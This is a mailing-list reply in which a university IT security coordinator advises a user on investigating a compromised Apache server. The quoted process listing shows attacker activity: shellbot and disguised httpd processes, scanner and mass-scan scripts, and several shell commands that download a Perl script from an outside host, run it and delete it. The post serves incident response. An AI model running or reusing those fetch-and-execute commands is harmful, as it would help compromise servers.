Sean, I'd have a look at the apache logs and see what URLs are being accessed and go from there. Their location might give you a clue.
Do you have any PHP stuff on their such as PhpBB or similar? Regards, Tony. Sean Miller wrote: > Here's a "ps -fe" I did a little while ago, just before I rebooted... > > As you can see, they're really working hard to frustrate me... > > Sean > > [EMAIL PROTECTED] httpdocs]# ps -fe | grep apache > apache 2889 2220 1 Dec26 ? 00:18:36 /usr/sbin/httpd > apache 2891 2220 0 Dec26 ? 00:00:00 /usr/sbin/httpd > apache 2892 2220 0 Dec26 ? 00:00:02 /usr/sbin/httpd > apache 2893 2220 0 Dec26 ? 00:00:02 /usr/sbin/httpd > apache 2894 2220 0 Dec26 ? 00:00:00 /usr/sbin/httpd > apache 2895 2220 0 Dec26 ? 00:00:05 /usr/sbin/httpd > apache 2896 2220 0 Dec26 ? 00:00:02 /usr/sbin/httpd > apache 14664 2220 0 Dec26 ? 00:00:03 /usr/sbin/httpd > apache 32714 1 0 Dec26 ? 00:00:02 /apache/bin/httpd > apache 32719 1 0 Dec26 ? 00:00:02 /apache/bin/httpd > apache 19751 2894 0 Dec26 ? 00:00:00 [sh] <defunct> > apache 19764 1 23 Dec26 ? 03:31:35 shellbot > apache 28642 2220 0 Dec26 ? 00:00:04 /usr/sbin/httpd > apache 28662 2891 0 Dec26 ? 00:00:00 [sh] <defunct> > apache 28666 1 22 Dec26 ? 03:23:10 shellbot > apache 29532 2220 0 Dec26 ? 00:00:01 /usr/sbin/httpd > apache 29933 2220 0 Dec26 ? 00:07:18 /usr/sbin/httpd > apache 20833 2893 0 Dec26 ? 00:00:00 [sh] <defunct> > apache 20838 1 13 Dec26 ? 01:21:35 [httpds] > apache 20847 29532 0 Dec26 ? 00:00:00 [sh] <defunct> > apache 20853 1 13 Dec26 ? 01:21:33 [httpds] > apache 20870 2220 0 Dec26 ? 00:00:02 /usr/sbin/httpd > apache 20879 2892 0 Dec26 ? 00:00:00 [sh] <defunct> > apache 20884 1 13 Dec26 ? 01:21:28 [httpds] > apache 20887 2896 0 Dec26 ? 00:00:00 [sh] <defunct> > apache 20892 1 13 Dec26 ? 01:21:16 [httpds] > apache 20895 2220 0 Dec26 ? 00:00:01 /usr/sbin/httpd > apache 20896 2220 0 Dec26 ? 00:00:02 /usr/sbin/httpd > apache 20901 2220 0 Dec26 ? 00:00:02 /usr/sbin/httpd > apache 21445 2220 0 Dec26 ? 00:00:01 /usr/sbin/httpd > apache 1875 1 0 00:01 ? 00:00:00 [httpds] > apache 2237 1 0 00:14 ? 00:00:00 ./mocks start > apache 5465 20895 0 00:23 ? 00:00:00 [sh] <defunct> > apache 5477 1 6 00:23 ? 00:24:48 shellbot > apache 10110 14664 0 01:00 ? 00:00:00 [sh] <defunct> > apache 10142 1 11 01:00 ? 00:44:09 shellbot > apache 10537 2220 0 01:27 ? 00:00:01 /usr/sbin/httpd > apache 13780 1 0 02:28 ? 00:00:00 [httpds] > apache 13781 13780 0 02:28 ? 00:00:00 sh -c wget > http://www.i-servers.nl/rooster/test.txt;curl -O > http://www.i-servers.nl/rooster/test.txt;perl test.txt;rm -rf test* 2>&1 > 3>&1 > apache 13784 1 0 02:28 ? 00:00:00 [httpds] > apache 13785 13784 0 02:28 ? 00:00:00 sh -c wget > http://www.i-servers.nl/rooster/test.txt;curl -O > http://www.i-servers.nl/rooster/test.txt;perl test.txt;rm -rf test* 2>&1 > 3>&1 > apache 13788 1 0 02:28 ? 00:00:00 [httpds] > apache 13789 13788 0 02:28 ? 00:00:00 sh -c wget > http://www.i-servers.nl/rooster/test.txt;curl -O > http://www.i-servers.nl/rooster/test.txt;perl test.txt ;rm -rf test* > 2>&1 3>&1 > apache 13792 1 0 02:28 ? 00:00:00 [httpds] > apache 13793 13792 0 02:28 ? 00:00:00 sh -c wget > http://www.i-servers.nl/rooster/test.txt;curl > <http://www.i-servers.nl/rooster/test.txt;curl> -O > http://www.i-servers.nl/rooster/test.txt;perl test.txt;rm -rf test* 2>&1 > 3>&1 > apache 13798 13789 0 02:29 ? 00:00:00 perl test.txt > apache 13802 13781 0 02:29 ? 00:00:00 perl test.txt > apache 13806 13793 0 02:29 ? 00:00:00 perl test.txt > apache 13810 13785 0 02:29 ? 00:00:00 perl test.txt > apache 22282 2220 0 03:40 ? 00:00:00 /usr/sbin/httpd > apache 22434 20896 0 03:51 ? 00:00:00 [sh] <defunct> > apache 22442 1 10 03:51 ? 00:20:33 [httpd] > apache 22513 21445 0 03:55 ? 00:00:00 [perl] <defunct> > apache 22515 1 0 03:55 ? 00:00:00 > /usr/local/apache/bin/nscan -DSSL > apache 22552 2220 0 03:58 ? 00:00:00 /usr/sbin/httpd > apache 23183 1 0 04:03 ? 00:00:48 > /usr/local/apache/bin/nscan -DSSL > apache 23187 1 0 04:03 ? 00:00:47 > /usr/local/apache/bin/nscan -DSSL > apache 3606 2220 0 04:52 ? 00:00:00 /usr/sbin/httpd > apache 27716 1 0 06:54 ? 00:00:00 [httpd] > apache 27720 1 0 06:54 ? 00:00:00 ./php > apache 28140 1 0 07:06 ? 00:00:00 /bin/sh ./mass 139 > apache 28299 28140 0 07:12 ? 00:00:00 /bin/bash ./a 139.1 > apache 28302 28299 9 07:12 ? 00:00:20 /bin/bash 139.1 22 > -- Tony Arnold, IT Security Coordinator, University of Manchester, IT Services Division, Kilburn Building, Oxford Road, Manchester M13 9PL. T: +44 (0)161 275 6093, F: +44 (0)870 136 1004, M: +44 (0)773 330 0039 E: [EMAIL PROTECTED], H: http://www.man.ac.uk/Tony.Arnold -- ubuntu-uk@lists.ubuntu.com https://lists.ubuntu.com/mailman/listinfo/ubuntu-uk https://wiki.kubuntu.org/UKTeam/
